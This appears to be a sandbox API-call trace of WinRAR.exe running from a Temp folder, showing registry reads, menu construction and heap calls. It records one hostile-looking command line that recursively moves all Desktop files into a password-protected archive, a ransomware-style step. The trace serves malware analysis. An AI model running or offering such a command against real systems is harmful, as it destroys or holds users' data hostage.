GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0060.617] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe414f7580, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0060.617] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.618] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0060.618] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0060.618] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0060.618] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0a5c4a30 [0060.618] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4a30 | out: hHeap=0x1ec0a590000) returned 1 [0060.618] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa) returned 0x1ec0a64b970 [0060.618] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b970 | out: hHeap=0x1ec0a590000) returned 1 [0060.618] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa) returned 0x1ec0a64bbf0 [0060.618] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.618] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.618] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bbf0 | out: hHeap=0x1ec0a590000) returned 1 [0060.618] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1e) returned 0x1ec0a6496b0 [0060.618] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.618] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.618] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6496b0 | out: hHeap=0x1ec0a590000) returned 1 [0060.618] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x14) returned 0x1ec0a64bb50 [0060.618] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bb50 | out: hHeap=0x1ec0a590000) returned 1 [0060.618] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8) returned 0x1ec0a5a6810 [0060.618] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6810 | out: hHeap=0x1ec0a590000) returned 1 [0060.618] GetLastError () returned 0x2 [0060.618] SetLastError (dwErrCode=0x2) [0060.618] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Extraction", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc4f0 | out: phkResult=0xe414fc4f0*=0x0) returned 0x2 [0060.618] GetMenu (hWnd=0x1025a) returned 0x10260 [0060.618] GetSubMenu (hMenu=0x10260, nPos=4) returned 0x1026c [0060.618] GetSubMenu (hMenu=0x1026c, nPos=6) returned 0x10276 [0060.618] DeleteMenu (hMenu=0x10276, uPosition=0x0, uFlags=0x400) returned 1 [0060.618] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="&Save current") returned 0xd [0060.619] InsertMenuW (hMenu=0x10276, uPosition=0x0, uFlags=0x400, uIDNewItem=0xad, lpNewItem="&Save current") returned 1 [0060.619] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67d, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="&Help") returned 0x5 [0060.619] InsertMenuW (hMenu=0x10276, uPosition=0x1, uFlags=0x400, uIDNewItem=0xae, lpNewItem="&Help") returned 1 [0060.619] InsertMenuW (hMenu=0x10276, uPosition=0x2, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0060.619] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67e, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="&Default") returned 0x8 [0060.619] InsertMenuW (hMenu=0x10276, uPosition=0x3, uFlags=0x400, uIDNewItem=0xaf, lpNewItem="&Default") returned 1 [0060.619] GetCPInfoExW (in: CodePage=0xfde9, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.620] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.620] GetACP () returned 0x4e4 [0060.620] GetOEMCP () returned 0x1b5 [0060.620] GetCPInfoExW (in: CodePage=0x4e4, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.620] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.620] GetCPInfoExW (in: CodePage=0x1b5, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.620] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.621] InsertMenuW (hMenu=0x10276, uPosition=0x3e8, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0060.621] GetCPInfoExW (in: CodePage=0x362, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.621] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.622] GetCPInfoExW (in: CodePage=0x36a, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.622] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.622] GetCPInfoExW (in: CodePage=0x3a4, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.622] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.622] GetCPInfoExW (in: CodePage=0x3a8, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.623] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.623] GetCPInfoExW (in: CodePage=0x3b5, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.624] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.624] GetCPInfoExW (in: CodePage=0x3b6, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.624] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.624] GetCPInfoExW (in: CodePage=0x4e2, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.625] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.625] GetCPInfoExW (in: CodePage=0x4e3, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.625] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.625] GetCPInfoExW (in: CodePage=0x4e5, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.625] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.626] GetCPInfoExW (in: CodePage=0x4e6, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.626] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.626] GetCPInfoExW (in: CodePage=0x4e7, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.626] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.626] GetCPInfoExW (in: CodePage=0x4e8, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.627] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.627] GetCPInfoExW (in: CodePage=0x4e9, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.627] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.627] GetCPInfoExW (in: CodePage=0x4ea, dwFlags=0x0, lpCPInfoEx=0xe414fc680 | out: lpCPInfoEx=0xe414fc680) returned 1 [0060.627] InsertMenuItemW (hmenu=0x10276, item=0x3e8, fByPosition=1, lpmi=0xe414fc630) returned 1 [0060.627] SetMenuItemInfoW (hmenu=0x10276, item=0xaf, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.627] GetMenuItemInfoW (in: hmenu=0x10276, item=0x640, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x640, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x641, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x641, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x642, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x642, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x643, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x643, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x644, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x644, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x645, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x645, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x646, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x646, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x647, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x647, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x648, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x648, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x649, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x649, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x64a, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x64a, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x64b, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x64b, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.628] GetMenuItemInfoW (in: hmenu=0x10276, item=0x64c, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.628] SetMenuItemInfoW (hmenu=0x10276, item=0x64c, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.629] GetMenuItemInfoW (in: hmenu=0x10276, item=0x64d, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.629] SetMenuItemInfoW (hmenu=0x10276, item=0x64d, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.629] GetMenuItemInfoW (in: hmenu=0x10276, item=0x64e, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.629] SetMenuItemInfoW (hmenu=0x10276, item=0x64e, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.629] GetMenuItemInfoW (in: hmenu=0x10276, item=0x64f, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.629] SetMenuItemInfoW (hmenu=0x10276, item=0x64f, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.629] GetMenuItemInfoW (in: hmenu=0x10276, item=0x650, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 1 [0060.629] SetMenuItemInfoW (hmenu=0x10276, item=0x650, fByPositon=0, lpmii=0xe414fc880) returned 1 [0060.629] GetMenuItemInfoW (in: hmenu=0x10276, item=0x651, fByPosition=0, lpmii=0xe414fc880 | out: lpmii=0xe414fc880) returned 0 [0060.629] GetCurrentProcess () returned 0xffffffffffffffff [0060.629] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc7d0, lpSystemAffinityMask=0xe414fc7d8 | out: lpProcessAffinityMask=0xe414fc7d0, lpSystemAffinityMask=0xe414fc7d8) returned 1 [0060.629] GetCurrentProcess () returned 0xffffffffffffffff [0060.629] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc830, lpSystemAffinityMask=0xe414fc838 | out: lpProcessAffinityMask=0xe414fc830, lpSystemAffinityMask=0xe414fc838) returned 1 [0060.629] GetLastError () returned 0x5b0 [0060.629] SetLastError (dwErrCode=0x5b0) [0060.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc3e0 | out: phkResult=0xe414fc3e0*=0x2f0) returned 0x0 [0060.629] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SMP", lpReserved=0x0, lpType=0xe414fc844, lpData=0xe414fc840, lpcbData=0xe414fc878*=0x4 | out: lpType=0xe414fc844*=0x0, lpData=0xe414fc840*=0x1, lpcbData=0xe414fc878*=0x4) returned 0x2 [0060.629] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.629] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fb800 | out: phkResult=0xe414fb800*=0x2f0) returned 0x0 [0060.630] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fb800 | out: phkResult=0xe414fb800*=0x2f0) returned 0x0 [0060.630] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fb800 | out: phkResult=0xe414fb800*=0x2f0) returned 0x0 [0060.630] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fb800 | out: phkResult=0xe414fb800*=0x2f0) returned 0x0 [0060.630] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fb800 | out: phkResult=0xe414fb800*=0x2f0) returned 0x0 [0060.630] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.630] GetLastError () returned 0x5b0 [0060.630] SetLastError (dwErrCode=0x5b0) [0060.630] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\5", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fb800 | out: phkResult=0xe414fb800*=0x0) returned 0x2 [0060.631] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc410 | out: phkResult=0xe414fc410*=0x2f0) returned 0x0 [0060.631] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Default", lpReserved=0x0, lpType=0xe414fc874, lpData=0xe414fc870, lpcbData=0xe414fc8a8*=0x4 | out: lpType=0xe414fc874*=0x4, lpData=0xe414fc870*=0x1, lpcbData=0xe414fc8a8*=0x4) returned 0x0 [0060.631] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.631] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.631] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcName", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0xe414fb840, lpcbData=0xe414f9ae0*=0x1000 | out: lpType=0xe414f9ae4*=0x0, lpData=0xe414fb840*=0x0, lpcbData=0xe414f9ae0*=0x1000) returned 0x2 [0060.631] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.631] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f96f0 | out: phkResult=0xe414f96f0*=0x2f0) returned 0x0 [0060.631] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xe414f9b50*=0x414f9c40 | out: lpType=0x0, lpData=0x0, lpcbData=0xe414f9b50*=0x0) returned 0x2 [0060.631] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.631] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f96f0 | out: phkResult=0xe414f96f0*=0x2f0) returned 0x0 [0060.631] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ExclNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xe414f9b50*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0xe414f9b50*=0x2) returned 0x0 [0060.631] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.631] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x16) returned 0x1ec0a64b950 [0060.631] GetLastError () returned 0x5b0 [0060.631] SetLastError (dwErrCode=0x5b0) [0060.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.631] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ExclNames", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x1ec0a64b950, lpcbData=0xe414f9ae0*=0x16 | out: lpType=0xe414f9ae4*=0x1, lpData="", lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.631] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.632] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b950 | out: hHeap=0x1ec0a590000) returned 1 [0060.632] GetLastError () returned 0x5b0 [0060.632] SetLastError (dwErrCode=0x5b0) [0060.632] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f96f0 | out: phkResult=0xe414f96f0*=0x2f0) returned 0x0 [0060.632] RegQueryValueExW (in: hKey=0x2f0, lpValueName="StoreNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xe414f9b50*=0x2 | out: lpType=0x0, lpData=0x0, lpcbData=0xe414f9b50*=0x2) returned 0x0 [0060.632] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.632] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x414) returned 0x1ec0a64dda0 [0060.632] GetLastError () returned 0x5b0 [0060.632] SetLastError (dwErrCode=0x5b0) [0060.632] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.632] RegQueryValueExW (in: hKey=0x2f0, lpValueName="StoreNames", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x1ec0a64dda0, lpcbData=0xe414f9ae0*=0x414 | out: lpType=0xe414f9ae4*=0x1, lpData="", lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.632] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.632] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64dda0 | out: hHeap=0x1ec0a590000) returned 1 [0060.632] GetLastError () returned 0x5b0 [0060.632] SetLastError (dwErrCode=0x5b0) [0060.632] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.632] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Default", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x1, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.632] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.632] GetLastError () returned 0x5b0 [0060.632] SetLastError (dwErrCode=0x5b0) [0060.632] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.632] RegQueryValueExW (in: hKey=0x2f0, lpValueName="UseRAR", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x1, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.632] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.632] GetLastError () returned 0x5b0 [0060.632] SetLastError (dwErrCode=0x5b0) [0060.632] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.632] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RAR5", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x1, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.632] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.633] GetLastError () returned 0x5b0 [0060.633] SetLastError (dwErrCode=0x5b0) [0060.633] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.633] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXModule", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x7ff6f7625658, lpcbData=0xe414f9ae0*=0x1000 | out: lpType=0xe414f9ae4*=0x1, lpData="", lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.633] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.633] GetLastError () returned 0x5b0 [0060.633] SetLastError (dwErrCode=0x5b0) [0060.633] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.633] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFX", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x0, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x2 [0060.633] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.633] GetLastError () returned 0x5b0 [0060.633] SetLastError (dwErrCode=0x5b0) [0060.633] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.633] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXIcon", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x7ff6f762ca62, lpcbData=0xe414f9ae0*=0x1000 | out: lpType=0xe414f9ae4*=0x1, lpData="", lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.633] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.633] GetLastError () returned 0x5b0 [0060.633] SetLastError 